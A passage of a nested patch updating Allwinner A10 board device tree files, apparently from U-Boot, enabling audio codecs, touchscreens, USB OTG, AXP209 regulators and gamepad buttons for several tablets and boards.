-+			regulator-name = "ldo_io0";
-+			status = "disabled";
-+		};
-+
-+		reg_ldo_io1: ldo_io1 {
-+			regulator-name = "ldo_io1";
-+			status = "disabled";
-+		};
-+
-+		reg_rtc_ldo: rtc_ldo {
-+			/* RTC_LDO is a fixed, always-on regulator */
-+			regulator-always-on;
-+			regulator-min-microvolt = <3000000>;
-+			regulator-max-microvolt = <3000000>;
-+			regulator-name = "rtc_ldo";
-+		};
-+	};
-+};
---- a/arch/arm/dts/sun4i-a10-a1000.dts
-+++ b/arch/arm/dts/sun4i-a10-a1000.dts
-@@ -93,6 +93,10 @@
- 	status = "okay";
- };
- 
-+&codec {
-+	status = "okay";
-+};
-+
- &ehci0 {
- 	status = "okay";
- };
---- a/arch/arm/dts/sun4i-a10-chuwi-v7-cw0825.dts
-+++ b/arch/arm/dts/sun4i-a10-chuwi-v7-cw0825.dts
-@@ -45,6 +45,7 @@
- #include "sunxi-common-regulators.dtsi"
- #include <dt-bindings/gpio/gpio.h>
- #include <dt-bindings/input/input.h>
-+#include <dt-bindings/interrupt-controller/irq.h>
- 
- / {
- 	model = "Chuwi V7 CW0825";
-@@ -78,6 +79,27 @@
- 	};
- };
- 
-+&i2c1 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c1_pins_a>;
-+	status = "okay";
-+};
-+
-+&i2c2 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c2_pins_a>;
-+	status = "okay";
-+
-+	ft5306de4: touchscreen at 38 {
-+		compatible = "edt,edt-ft5406";
-+		reg = <0x38>;
-+		interrupt-parent = <&pio>;
-+		interrupts = <7 21 IRQ_TYPE_EDGE_FALLING>;
-+		touchscreen-size-x = <1024>;
-+		touchscreen-size-y = <768>;
-+	};
-+};
-+
- &lradc {
- 	vref-supply = <&reg_vcc3v0>;
- 	status = "okay";
---- a/arch/arm/dts/sun4i-a10-cubieboard.dts
-+++ b/arch/arm/dts/sun4i-a10-cubieboard.dts
-@@ -83,6 +83,10 @@
- 	status = "okay";
- };
- 
-+&codec {
-+	status = "okay";
-+};
-+
- &cpu0 {
- 	cpu-supply = <&reg_dcdc2>;
- };
---- a/arch/arm/dts/sun4i-a10-gemei-g9.dts
-+++ b/arch/arm/dts/sun4i-a10-gemei-g9.dts
-@@ -47,6 +47,7 @@
- #include "sunxi-common-regulators.dtsi"
- #include <dt-bindings/gpio/gpio.h>
- #include <dt-bindings/input/input.h>
-+#include <dt-bindings/interrupt-controller/irq.h>
- 
- / {
- 	model = "Gemei G9 Tablet";
-@@ -64,12 +65,22 @@
- /*
-  * TODO:
-  *   2x cameras via CSI
-- *   bma250 IRQs
-  *   AXP battery management
-  *   NAND
-  *   OTG
-  *   Touchscreen - gt801_2plus1 @ i2c adapter 2 @ 0x48
-  */
-+&codec {
-+	/* PH15 controls power to external amplifier (ft2012q) */
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&codec_pa_pin>;
-+	allwinner,pa-gpios = <&pio 7 15 GPIO_ACTIVE_HIGH>;
-+	status = "okay";
-+};
-+
-+&cpu0 {
-+	cpu-supply = <&reg_dcdc2>;
-+};
- 
- &ehci0 {
- 	status = "okay";
-@@ -85,15 +96,13 @@
- 	status = "okay";
- 
- 	axp209: pmic at 34 {
--		compatible = "x-powers,axp209";
- 		reg = <0x34>;
- 		interrupts = <0>;
--
--		interrupt-controller;
--		#interrupt-cells = <1>;
- 	};
- };
- 
-+#include "axp209.dtsi"
-+
- &i2c1 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&i2c1_pins_a>;
-@@ -103,17 +112,13 @@
- 	bma250 at 18 {
- 		compatible = "bosch,bma250";
- 		reg = <0x18>;
--
--		/*
--		 * TODO: interrupt pins:
--		 * int1 - PH00
--		 * int2 - PI10
--		 */
-+		interrupt-parent = <&pio>;
-+		interrupts = <7 0 IRQ_TYPE_EDGE_RISING>; /* PH00 / EINT0 */
- 	};
- };
- 
- &lradc {
--	vref-supply = <&reg_vcc3v0>;
-+	vref-supply = <&reg_ldo2>;
- 
- 	status = "okay";
- 
-@@ -149,6 +154,40 @@
- 	status = "okay";
- };
- 
-+&pio {
-+	codec_pa_pin: codec_pa_pin at 0 {
-+		allwinner,pins = "PH15";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+};
-+
-+&reg_dcdc2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-cpu";
-+};
-+
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1250000>;
-+	regulator-max-microvolt = <1250000>;
-+	regulator-name = "vdd-int-dll";
-+};
-+
-+&reg_ldo1 {
-+	regulator-name = "vdd-rtc";
-+};
-+
-+&reg_ldo2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "avcc";
-+};
-+
- &reg_usb1_vbus {
- 	status = "okay";
- };
---- a/arch/arm/dts/sun4i-a10-inet1.dts
-+++ b/arch/arm/dts/sun4i-a10-inet1.dts
-@@ -47,6 +47,7 @@
- #include <dt-bindings/input/input.h>
- #include <dt-bindings/interrupt-controller/irq.h>
- #include <dt-bindings/pinctrl/sun4i-a10.h>
-+#include <dt-bindings/pwm/pwm.h>
- 
- / {
- 	model = "iNet-1";
-@@ -56,11 +57,25 @@
- 		serial0 = &uart0;
- 	};
- 
-+	backlight: backlight {
-+		compatible = "pwm-backlight";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&bl_en_pin_inet>;
-+		pwms = <&pwm 0 50000 PWM_POLARITY_INVERTED>;
-+		brightness-levels = <0 10 20 30 40 50 60 70 80 90 100>;
-+		default-brightness-level = <8>;
-+		enable-gpios = <&pio 7 7 GPIO_ACTIVE_HIGH>; /* PH7 */
-+	};
-+
- 	chosen {
- 		stdout-path = "serial0:115200n8";
- 	};
- };
- 
-+&codec {
-+	status = "okay";
-+};
-+
- &cpu0 {
- 	cpu-supply = <&reg_dcdc2>;
- };
-@@ -104,6 +119,19 @@
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&i2c2_pins_a>;
- 	status = "okay";
-+
-+	ft5x: touchscreen at 38 {
-+		compatible = "edt,edt-ft5406";
-+		reg = <0x38>;
-+		interrupt-parent = <&pio>;
-+		interrupts = <7 21 IRQ_TYPE_EDGE_FALLING>;
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&touchscreen_wake_pin>;
-+		wake-gpios = <&pio 1 13 GPIO_ACTIVE_HIGH>; /* PB13 */
-+		touchscreen-size-x = <600>;
-+		touchscreen-size-y = <1024>;
-+		touchscreen-swapped-x-y;
-+	};
- };
- 
- &lradc {
-@@ -151,6 +179,20 @@
- };
- 
- &pio {
-+	bl_en_pin_inet: bl_en_pin at 0 {
-+		allwinner,pins = "PH7";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
-+	touchscreen_wake_pin: touchscreen_wake_pin at 0 {
-+		allwinner,pins = "PB13";
-+		allwinner,function = "gpio_out";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
- 	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
- 		allwinner,pins = "PH4";
- 		allwinner,function = "gpio_in";
-@@ -166,6 +208,12 @@
- 	};
- };
- 
-+&pwm {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&pwm0_pins_a>;
-+	status = "okay";
-+};
-+
- &reg_dcdc2 {
- 	regulator-always-on;
- 	regulator-min-microvolt = <1000000>;
---- a/arch/arm/dts/sun4i-a10-inet97fv2.dts
-+++ b/arch/arm/dts/sun4i-a10-inet97fv2.dts
-@@ -47,6 +47,8 @@
- #include "sunxi-common-regulators.dtsi"
- 
- #include <dt-bindings/gpio/gpio.h>
-+#include <dt-bindings/input/input.h>
-+#include <dt-bindings/interrupt-controller/irq.h>
- 
- / {
- 	model = "INet-97F Rev 02";
-@@ -61,8 +63,8 @@
- 	};
- };
- 
--&ehci0 {
--	status = "okay";
-+&cpu0 {
-+	cpu-supply = <&reg_dcdc2>;
- };
- 
- &ehci1 {
-@@ -75,12 +77,71 @@
- 	status = "okay";
- 
- 	axp209: pmic at 34 {
--		compatible = "x-powers,axp209";
- 		reg = <0x34>;
- 		interrupts = <0>;
-+	};
-+};
-+
-+#include "axp209.dtsi"
-+
-+&i2c1 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c1_pins_a>;
-+	status = "okay";
-+};
-+
-+&i2c2 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c2_pins_a>;
-+	status = "okay";
-+
-+	ft5406ee8: touchscreen at 38 {
-+		compatible = "edt,edt-ft5406";
-+		reg = <0x38>;
-+		interrupt-parent = <&pio>;
-+		interrupts = <7 21 IRQ_TYPE_EDGE_FALLING>;
-+		touchscreen-size-x = <800>;
-+		touchscreen-size-y = <480>;
-+	};
-+};
-+
-+&lradc {
-+	vref-supply = <&reg_ldo2>;
-+	status = "okay";
-+
-+	button at 200 {
-+		label = "Menu";
-+		linux,code = <KEY_MENU>;
-+		channel = <0>;
-+		voltage = <200000>;
-+	};
-+
-+	button at 600 {
-+		label = "Volume Up";
-+		linux,code = <KEY_VOLUMEUP>;
-+		channel = <0>;
-+		voltage = <600000>;
-+	};
- 
--		interrupt-controller;
--		#interrupt-cells = <1>;
-+	button at 800 {
-+		label = "Volume Down";
-+		linux,code = <KEY_VOLUMEDOWN>;
-+		channel = <0>;
-+		voltage = <800000>;
-+	};
-+
-+	button at 1000 {
-+		label = "Home";
-+		linux,code = <KEY_HOMEPAGE>;
-+		channel = <0>;
-+		voltage = <1000000>;
-+	};
-+
-+	button at 1200 {
-+		label = "Esc";
-+		linux,code = <KEY_ESC>;
-+		channel = <0>;
-+		voltage = <1200000>;
- 	};
- };
- 
-@@ -94,15 +155,52 @@
- 	status = "okay";
- };
- 
--&ohci0 {
-+&otg_sram {
- 	status = "okay";
- };
- 
--&ohci1 {
--	status = "okay";
-+&pio {
-+	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
-+		allwinner,pins = "PH4";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+
-+	usb0_vbus_detect_pin: usb0_vbus_detect_pin at 0 {
-+		allwinner,pins = "PH5";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_DOWN>;
-+	};
-+};
-+
-+&reg_dcdc2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-cpu";
- };
- 
--&reg_usb1_vbus {
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1250000>;
-+	regulator-max-microvolt = <1250000>;
-+	regulator-name = "vdd-int-dll";
-+};
-+
-+&reg_ldo1 {
-+	regulator-name = "vdd-rtc";
-+};
-+
-+&reg_ldo2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "avcc";
-+};
-+
-+&reg_usb0_vbus {
- 	status = "okay";
- };
- 
-@@ -116,8 +214,17 @@
- 	status = "okay";
- };
- 
-+&usb_otg {
-+	dr_mode = "otg";
-+	status = "okay";
-+};
-+
- &usbphy {
--	usb1_vbus-supply = <&reg_usb1_vbus>;
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb0_id_detect_pin>, <&usb0_vbus_detect_pin>;
-+	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
-+	usb0_vbus_det-gpio = <&pio 7 5 GPIO_ACTIVE_HIGH>; /* PH5 */
-+	usb0_vbus-supply = <&reg_usb0_vbus>;
- 	usb2_vbus-supply = <&reg_usb2_vbus>;
- 	status = "okay";
- };
---- a/arch/arm/dts/sun4i-a10-inet9f-rev03.dts
-+++ b/arch/arm/dts/sun4i-a10-inet9f-rev03.dts
-@@ -59,6 +59,159 @@
- 	chosen {
- 		stdout-path = "serial0:115200n8";
- 	};
-+
-+	gpio_keys {
-+		compatible = "gpio-keys-polled";
-+		pinctrl-names = "default";
-+		pinctrl-0 = <&key_pins_inet9f>;
-+		#address-cells = <1>;
-+		#size-cells = <0>;
-+		poll-interval = <20>;
-+
-+		button at 0 {
-+			label = "Left Joystick Left";
-+			linux,code = <ABS_X>;
-+			linux,input-type = <EV_ABS>;
-+			linux,input-value = <0xffffffff>; /* -1 */
-+			gpios = <&pio 0 6 GPIO_ACTIVE_LOW>; /* PA6 */
-+		};
-+
-+		button at 1 {
-+			label = "Left Joystick Right";
-+			linux,code = <ABS_X>;
-+			linux,input-type = <EV_ABS>;
-+			linux,input-value = <1>;
-+			gpios = <&pio 0 5 GPIO_ACTIVE_LOW>; /* PA5 */
-+		};
-+
-+		button at 2 {
-+			label = "Left Joystick Up";
-+			linux,code = <ABS_Y>;
-+			linux,input-type = <EV_ABS>;
-+			linux,input-value = <0xffffffff>; /* -1 */
-+			gpios = <&pio 0 8 GPIO_ACTIVE_LOW>; /* PA8 */
-+		};
-+
-+		button at 3 {
-+			label = "Left Joystick Down";
-+			linux,code = <ABS_Y>;
-+			linux,input-type = <EV_ABS>;
-+			linux,input-value = <1>;
-+			gpios = <&pio 0 9 GPIO_ACTIVE_LOW>; /* PA9 */
-+		};
-+
-+		button at 4 {
-+			label = "Right Joystick Left";
-+			linux,code = <ABS_Z>;
-+			linux,input-type = <EV_ABS>;
-+			linux,input-value = <0xffffffff>; /* -1 */
-+			gpios = <&pio 0 1 GPIO_ACTIVE_LOW>; /* PA1 */
-+		};
-+
-+		button at 5 {
-+			label = "Right Joystick Right";
-+			linux,code = <ABS_Z>;
-+			linux,input-type = <EV_ABS>;
-+			linux,input-value = <1>;
-+			gpios = <&pio 0 0 GPIO_ACTIVE_LOW>; /* PA0 */
-+		};
-+
-+		button at 6 {
-+			label = "Right Joystick Up";
-+			linux,code = <ABS_RZ>;
-+			linux,input-type = <EV_ABS>;
-+			linux,input-value = <0xffffffff>; /* -1 */
-+			gpios = <&pio 0 3 GPIO_ACTIVE_LOW>; /* PA3 */
-+		};
-+
-+		button at 7 {
-+			label = "Right Joystick Down";
-+			linux,code = <ABS_RZ>;
-+			linux,input-type = <EV_ABS>;
-+			linux,input-value = <1>;
-+			gpios = <&pio 0 4 GPIO_ACTIVE_LOW>; /* PA4 */
-+		};
-+
-+		button at 8 {
-+			label = "DPad Left";
-+			linux,code = <ABS_HAT0X>;
-+			linux,input-type = <EV_ABS>;
-+			linux,input-value = <0xffffffff>; /* -1 */
-+			gpios = <&pio 7 23 GPIO_ACTIVE_LOW>; /* PH23 */
-+		};
-+
-+		button at 9 {
-+			label = "DPad Right";
-+			linux,code = <ABS_HAT0X>;
-+			linux,input-type = <EV_ABS>;
-+			linux,input-value = <1>;
-+			gpios = <&pio 7 24 GPIO_ACTIVE_LOW>; /* PH24 */
-+		};
-+
-+		button at 10 {
-+			label = "DPad Up";
-+			linux,code = <ABS_HAT0Y>;
-+			linux,input-type = <EV_ABS>;
-+			linux,input-value = <0xffffffff>; /* -1 */
-+			gpios = <&pio 7 25 GPIO_ACTIVE_LOW>; /* PH25 */
-+		};
-+
-+		button at 11 {
-+			label = "DPad Down";
-+			linux,code = <ABS_HAT0Y>;
-+			linux,input-type = <EV_ABS>;
-+			linux,input-value = <1>;
-+			gpios = <&pio 7 26 GPIO_ACTIVE_LOW>; /* PH26 */
-+		};
-+
-+		button at 12 {
-+			label = "Button X";
-+			linux,code = <BTN_X>;
-+			gpios = <&pio 0 16 GPIO_ACTIVE_LOW>; /* PA16 */
-+		};
-+
-+		button at 13 {
-+			label = "Button Y";
-+			linux,code = <BTN_Y>;
-+			gpios = <&pio 0 14 GPIO_ACTIVE_LOW>; /* PA14 */
-+		};
-+
-+		button at 14 {
-+			label = "Button A";
-+			linux,code = <BTN_A>;
-+			gpios = <&pio 0 17 GPIO_ACTIVE_LOW>; /* PA17 */
-+		};
-+
-+		button at 15 {
-+			label = "Button B";
-+			linux,code = <BTN_B>;
-+			gpios = <&pio 0 15 GPIO_ACTIVE_LOW>; /* PA15 */
-+		};
-+
-+		button at 16 {
-+			label = "Select Button";
-+			linux,code = <BTN_SELECT>;
-+			gpios = <&pio 0 11 GPIO_ACTIVE_LOW>; /* PA11 */
-+		};
-+
-+		button at 17 {
-+			label = "Start Button";
-+			linux,code = <BTN_START>;
-+			gpios = <&pio 0 12 GPIO_ACTIVE_LOW>; /* PA12 */
-+		};
-+
-+		button at 18 {
-+			label = "Top Left Button";
-+			linux,code = <BTN_TL>;
-+			gpios = <&pio 7 22 GPIO_ACTIVE_LOW>; /* PH22 */
-+		};
-+
-+		button at 19 {
-+			label = "Top Right Button";
-+			linux,code = <BTN_TR>;
-+			gpios = <&pio 0 13 GPIO_ACTIVE_LOW>; /* PA13 */
-+		};
-+	};
- };
- 
- &cpu0 {
-@@ -86,12 +239,29 @@
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&i2c1_pins_a>;
- 	status = "okay";
-+
-+	/* Accelerometer */
-+	bma250 at 18 {
-+		compatible = "bosch,bma250";
-+		reg = <0x18>;
-+		interrupt-parent = <&pio>;
-+		interrupts = <7 0 IRQ_TYPE_EDGE_RISING>; /* PH0 / EINT0 */
-+	};
- };
- 
- &i2c2 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&i2c2_pins_a>;
- 	status = "okay";
-+
-+	ft5406ee8: touchscreen at 38 {
-+		compatible = "edt,edt-ft5406";
-+		reg = <0x38>;
-+		interrupt-parent = <&pio>;
-+		interrupts = <7 21 IRQ_TYPE_EDGE_FALLING>;
-+		touchscreen-size-x = <800>;
-+		touchscreen-size-y = <480>;
-+	};
- };
- 
- &lradc {
-@@ -149,6 +319,17 @@
- };
- 
- &pio {
-+	key_pins_inet9f: key_pins at 0 {
-+		allwinner,pins = "PA0", "PA1", "PA3", "PA4",
-+				 "PA5", "PA6", "PA8", "PA9",
-+				 "PA11", "PA12", "PA13",
-+				 "PA14", "PA15", "PA16", "PA17",
-+				 "PH22", "PH23", "PH24", "PH25", "PH26";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
-+
- 	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
- 		allwinner,pins = "PH4";
- 		allwinner,function = "gpio_in";
---- a/arch/arm/dts/sun4i-a10-itead-iteaduino-plus.dts
-+++ b/arch/arm/dts/sun4i-a10-itead-iteaduino-plus.dts
-@@ -1,5 +1,6 @@
- /*
-  * Copyright 2015 Josef Gajdusek <atx at atx.name>
-+ * Copyright 2015 - Marcus Cooper <codekipper at gmail.com>
-  *
-  * This file is dual-licensed: you can use it either under the terms
-  * of the GPL or the X11 license, at your option. Note that this dual
-@@ -42,22 +43,11 @@
- 
- /dts-v1/;
- #include "sun4i-a10.dtsi"
--#include "sunxi-common-regulators.dtsi"
--
--#include <dt-bindings/gpio/gpio.h>
--#include <dt-bindings/pinctrl/sun4i-a10.h>
-+#include "sunxi-itead-core-common.dtsi"
- 
- / {
- 	model = "Iteaduino Plus A10";
- 	compatible = "itead,iteaduino-plus-a10", "allwinner,sun4i-a10";
--
--	aliases {
--		serial0 = &uart0;
--	};
--
--	chosen {
--		stdout-path = "serial0:115200n8";
--	};
- };
- 
- &ahci {
-@@ -65,18 +55,6 @@
- 	status = "okay";
- };
- 
--&cpu0 {
--	cpu-supply = <&reg_dcdc2>;
--};
--
--&ehci0 {
--	status = "okay";
--};
--
--&ehci1 {
--	status = "okay";
--};
--
- &emac {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&emac_pins_a>;
-@@ -89,12 +67,7 @@
- };
- 
- &i2c0 {
--	pinctrl-names = "default";
--	pinctrl-0 = <&i2c0_pins_a>;
--	status = "okay";
--
- 	axp209: pmic at 34 {
--		reg = <0x34>;
- 		interrupts = <0>;
- 	};
- };
-@@ -135,68 +108,13 @@
- 	status = "okay";
- };
- 
--&ohci0 {
--	status = "okay";
--};
--
--&ohci1 {
--	status = "okay";
--};
--
- &reg_ahci_5v {
- 	status = "okay";
- };
- 
--#include "axp209.dtsi"
--
--&reg_dcdc2 {
--	regulator-always-on;
--	regulator-min-microvolt = <1000000>;
--	regulator-max-microvolt = <1450000>;
--	regulator-name = "vdd-cpu";
--};
--
--&reg_dcdc3 {
--	regulator-always-on;
--	regulator-min-microvolt = <1000000>;
--	regulator-max-microvolt = <1400000>;
--	regulator-name = "vdd-int-dll";
--};
--
--&reg_ldo1 {
--	regulator-name = "vdd-rtc";
--};
--
--&reg_ldo2 {
--	regulator-always-on;
--	regulator-min-microvolt = <3000000>;
--	regulator-max-microvolt = <3000000>;
--	regulator-name = "avcc";
--};
--
--&reg_usb1_vbus {
--	status = "okay";
--};
--
--&reg_usb2_vbus {
--	status = "okay";
--};
--
- &spi0 {
- 	pinctrl-names = "default";
- 	pinctrl-0 = <&spi0_pins_a>,
- 		    <&spi0_cs0_pins_a>;
- 	status = "okay";
- };
--
--&uart0 {
--	pinctrl-names = "default";
--	pinctrl-0 = <&uart0_pins_a>;
--	status = "okay";
--};
--
--&usbphy {
--	usb1_vbus-supply = <&reg_usb1_vbus>;
--	usb2_vbus-supply = <&reg_usb2_vbus>;
--	status = "okay";
--};
---- a/arch/arm/dts/sun4i-a10-jesurun-q5.dts
-+++ b/arch/arm/dts/sun4i-a10-jesurun-q5.dts
-@@ -156,6 +156,10 @@
- 	status = "okay";
- };
- 
-+&otg_sram {
-+	status = "okay";
-+};
-+
- &pio {
- 	emac_power_pin_q5: emac_power_pin at 0 {
- 		allwinner,pins = "PH19";
-@@ -172,6 +176,11 @@
- 	};
- };
- 
-+&reg_usb0_vbus {
-+	regulator-boot-on;
-+	status = "okay";
-+};
-+
- &reg_usb1_vbus {
- 	status = "okay";
- };
-@@ -186,7 +195,13 @@
- 	status = "okay";
- };
- 
-+&usb_otg {
-+	dr_mode = "host";
-+	status = "okay";
-+};
-+
- &usbphy {
-+	usb0_vbus-supply = <&reg_usb0_vbus>;
- 	usb1_vbus-supply = <&reg_usb1_vbus>;
- 	usb2_vbus-supply = <&reg_usb2_vbus>;
- 	status = "okay";
---- a/arch/arm/dts/sun4i-a10-marsboard.dts
-+++ b/arch/arm/dts/sun4i-a10-marsboard.dts
-@@ -91,6 +91,10 @@
- 	status = "okay";
- };
- 
-+&codec {
-+	status = "okay";
-+};
-+
- &ehci0 {
- 	status = "okay";
- };
-@@ -154,6 +158,10 @@
- 	status = "okay";
- };
- 
-+&otg_sram {
-+	status = "okay";
-+};
-+
- &pio {
- 	led_pins_marsboard: led_pins at 0 {
- 		allwinner,pins = "PB5", "PB6", "PB7", "PB8";
-@@ -161,6 +169,13 @@
- 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
- 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 	};
-+
-+	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
-+		allwinner,pins = "PH4";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
- };
- 
- &reg_usb1_vbus {
-@@ -184,7 +199,15 @@
- 	status = "okay";
- };
- 
-+&usb_otg {
-+	dr_mode = "otg";
-+	status = "okay";
-+};
-+
- &usbphy {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb0_id_detect_pin>;
-+	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
- 	usb1_vbus-supply = <&reg_usb1_vbus>;
- 	usb2_vbus-supply = <&reg_usb2_vbus>;
- 	status = "okay";
---- a/arch/arm/dts/sun4i-a10-mk802.dts
-+++ b/arch/arm/dts/sun4i-a10-mk802.dts
-@@ -44,6 +44,7 @@
- #include "sun4i-a10.dtsi"
- #include "sunxi-common-regulators.dtsi"
- #include <dt-bindings/gpio/gpio.h>
-+#include <dt-bindings/pinctrl/sun4i-a10.h>
- 
- / {
- 	model = "MK802";
-@@ -58,6 +59,10 @@
- 	};
- };
- 
-+&codec {
-+	status = "okay";
-+};
-+
- &ehci0 {
- 	status = "okay";
- };
-@@ -80,7 +85,25 @@
- 	status = "okay";
- };
- 
-+&otg_sram {
-+	status = "okay";
-+};
-+
- &pio {
-+	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
-+		allwinner,pins = "PH4";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
-+	usb0_vbus_detect_pin: usb0_vbus_detect_pin at 0 {
-+		allwinner,pins = "PH5";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
-+	};
-+
- 	usb2_vbus_pin_mk802: usb2_vbus_pin at 0 {
- 		allwinner,pins = "PH12";
- 		allwinner,function = "gpio_out";
-@@ -89,6 +112,10 @@
- 	};
- };
- 
-+&reg_usb0_vbus {
-+	status = "okay";
-+};
-+
- &reg_usb1_vbus {
- 	status = "okay";
- };
-@@ -105,7 +132,17 @@
- 	status = "okay";
- };
- 
-+&usb_otg {
-+	dr_mode = "otg";
-+	status = "okay";
-+};
-+
- &usbphy {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb0_id_detect_pin>, <&usb0_vbus_detect_pin>;
-+	usb0_id_det-gpios = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
-+	usb0_vbus_det-gpios = <&pio 7 5 GPIO_ACTIVE_HIGH>; /* PH5 */
-+	usb0_vbus-supply = <&reg_usb0_vbus>;
- 	usb1_vbus-supply = <&reg_usb1_vbus>;
- 	usb2_vbus-supply = <&reg_usb2_vbus>;
- 	status = "okay";
---- a/arch/arm/dts/sun4i-a10-olinuxino-lime.dts
-+++ b/arch/arm/dts/sun4i-a10-olinuxino-lime.dts
-@@ -124,6 +124,18 @@
- 	};
- };
- 
-+&i2c1 {
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&i2c1_pins_a>;
-+	status = "okay";
-+
-+	eeprom: eeprom at 50 {
-+		compatible = "atmel,24c16";
-+		reg = <0x50>;
-+		pagesize = <16>;
-+	};
-+};
-+
- &mdio {
- 	status = "okay";
- 
---- a/arch/arm/dts/sun4i-a10-pcduino.dts
-+++ b/arch/arm/dts/sun4i-a10-pcduino.dts
-@@ -104,6 +104,10 @@
- 	};
- };
- 
-+&cpu0 {
-+	cpu-supply = <&reg_dcdc2>;
-+};
-+
- &ehci0 {
- 	status = "okay";
- };
-@@ -129,12 +133,8 @@
- 	status = "okay";
- 
- 	axp209: pmic at 34 {
--		compatible = "x-powers,axp209";
- 		reg = <0x34>;
- 		interrupts = <0>;
--
--		interrupt-controller;
--		#interrupt-cells = <1>;
- 	};
- };
- 
-@@ -164,6 +164,10 @@
- 	status = "okay";
- };
- 
-+&otg_sram {
-+	status = "okay";
-+};
-+
- &pio {
- 	led_pins_pcduino: led_pins at 0 {
- 		allwinner,pins = "PH15", "PH16";
-@@ -178,14 +182,40 @@
- 		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
- 		allwinner,pull = <SUN4I_PINCTRL_NO_PULL>;
- 	};
-+
-+	usb0_id_detect_pin: usb0_id_detect_pin at 0 {
-+		allwinner,pins = "PH4";
-+		allwinner,function = "gpio_in";
-+		allwinner,drive = <SUN4I_PINCTRL_10_MA>;
-+		allwinner,pull = <SUN4I_PINCTRL_PULL_UP>;
-+	};
- };
- 
--&reg_usb1_vbus {
--	status = "okay";
-+#include "axp209.dtsi"
-+
-+&reg_dcdc2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-cpu";
- };
- 
--&reg_usb2_vbus {
--	status = "okay";
-+&reg_dcdc3 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <1000000>;
-+	regulator-max-microvolt = <1400000>;
-+	regulator-name = "vdd-int-dll";
-+};
-+
-+&reg_ldo1 {
-+	regulator-name = "vdd-rtc";
-+};
-+
-+&reg_ldo2 {
-+	regulator-always-on;
-+	regulator-min-microvolt = <3000000>;
-+	regulator-max-microvolt = <3000000>;
-+	regulator-name = "avcc";
- };
- 
- &uart0 {
-@@ -194,8 +224,16 @@
- 	status = "okay";
- };
- 
-+&usb_otg {
-+	dr_mode = "otg";
-+	status = "okay";
-+};
-+
- &usbphy {
--	usb1_vbus-supply = <&reg_usb1_vbus>;
--	usb2_vbus-supply = <&reg_usb2_vbus>;
-+	pinctrl-names = "default";
-+	pinctrl-0 = <&usb0_id_detect_pin>;
-+	usb0_id_det-gpio = <&pio 7 4 GPIO_ACTIVE_HIGH>; /* PH4 */
-+	usb1_vbus-supply = <&reg_vcc5v0>; /* USB1 VBUS is always on */
-+	usb2_vbus-supply = <&reg_vcc5v0>; /* USB2 VBUS is always on */
- 	status = "okay";
- };
---- /dev/null
-+++ b/arch/arm/dts/sun4i-a10-pcduino2.dts
-@@ -0,0 +1,78 @@
-+/*
